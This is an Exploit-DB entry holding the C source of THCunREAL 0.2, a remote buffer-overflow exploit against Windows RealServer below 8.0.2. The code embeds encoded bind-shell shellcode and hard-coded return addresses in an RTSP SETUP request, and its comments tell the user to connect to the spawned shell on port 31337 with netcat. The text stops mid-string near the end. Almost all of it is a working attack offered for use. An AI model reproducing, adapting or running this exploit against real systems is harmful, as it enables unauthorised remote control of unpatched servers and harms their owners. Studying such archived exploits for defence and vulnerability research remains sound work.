Exploit-DB #23
Description: RealServer < 8.0.2 (Windows Platforms) - Remote Overflow
Type: remote
Platform: windows
Date: 2003-04-30
Author: Johnny Cyberpunk

Exploit:
/*************************************************************/
/* THCunREAL 0.2 - Wind0wZ remote root exploit                                    */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)        */
/* THC PUBLIC SOURCE MATERIALS                                                       */
/*                                                                                                      */
/*                                                                                                      */
/* This is the much more reliable version of the Realserver < 8.0.2 exploit */
/* Tested with different OSes and Realserver Versions                              */
/*                                                                                                      */
/* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554  */
/* i noticed that 99% of the probed machines are not up2date yet ! =;O)   */
/*                                                                                                      */
/* The shellcode is much shorter than the one in version 0.1 now and of    */
/* course offsetless ! The encoder in front of the exploit is needed coz the */
/* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !   */
/*                                                                                                      */
/* After successful exploitation  a commandshell should spawn on             */
/* TCP port 31337 ! Use netcat to connect to this port !                            */
/*                                                                                                      */
/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
/*                                                                                                      */
/* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8   */
/* runs on. I just know it's also exploitable on other OSs !                        */
/* So if u wanna exploit other platforms, try to get Realserver 8 and use    */
/* gdb to find out, how this can be exploited ! Good luck !                        */
/*                                                                                                      */
/* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib                */
/*                                                                                                      */ 
/************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

char w32portshell[] =
"\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"
"\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"
"\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"
"\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"
"\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"
"\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"
"\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"
"\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"
"\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"
"\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"
"\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"
"\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"
"\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"
"\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"
"\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"
"\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"
"\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"
"\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"
"\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"
"\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"
"\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"
"\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"
"\xca\x60\xd9\x5f\xca\xca\x60\xd5";

void usage();

int main(int argc, char *argv[])
{ 
unsigned short realport=554;
unsigned int sock,addr,i,rc;
unsigned char exploit_buffer[4132];
unsigned long retloc1,retloc2,retaddr;
struct sockaddr_in mytcp;
struct hostent * hp;
WSADATA wsaData;

printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");
printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");

if(argc<2)
usage();

retloc1 = 0x6235108c; 
retloc2 = 0x623514b6;
retaddr = 0x62354f5e;

memset(exploit_buffer,'Z',4131);
memcpy(exploit_buffer,"SETUP /",7);
*(unsigned long *)&exploit_buffer[4082] = retloc1;
*(unsigned long *)&exploit_buffer[4086] = retloc2;
memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));
*(unsigned long *)&exploit_buffer[4090] = retaddr;
memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);
memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);

if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !\n");
exit(-1);
}

hp = gethostbyname(argv[1]);

if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %s\n",argv[1]);
exit(-1);
}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{ 
printf("socket() error...\n");
exit(-1);
}

if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;

if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(realport);

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
send(sock,exploit_buffer,4131,0);
printf("\nexploit send .... sleeping a while ....\n");
Sleep(1000);
printf("\nok ... now try to connect to port 31337 via netcat !\n");
}
else
printf("can't connect to realserver por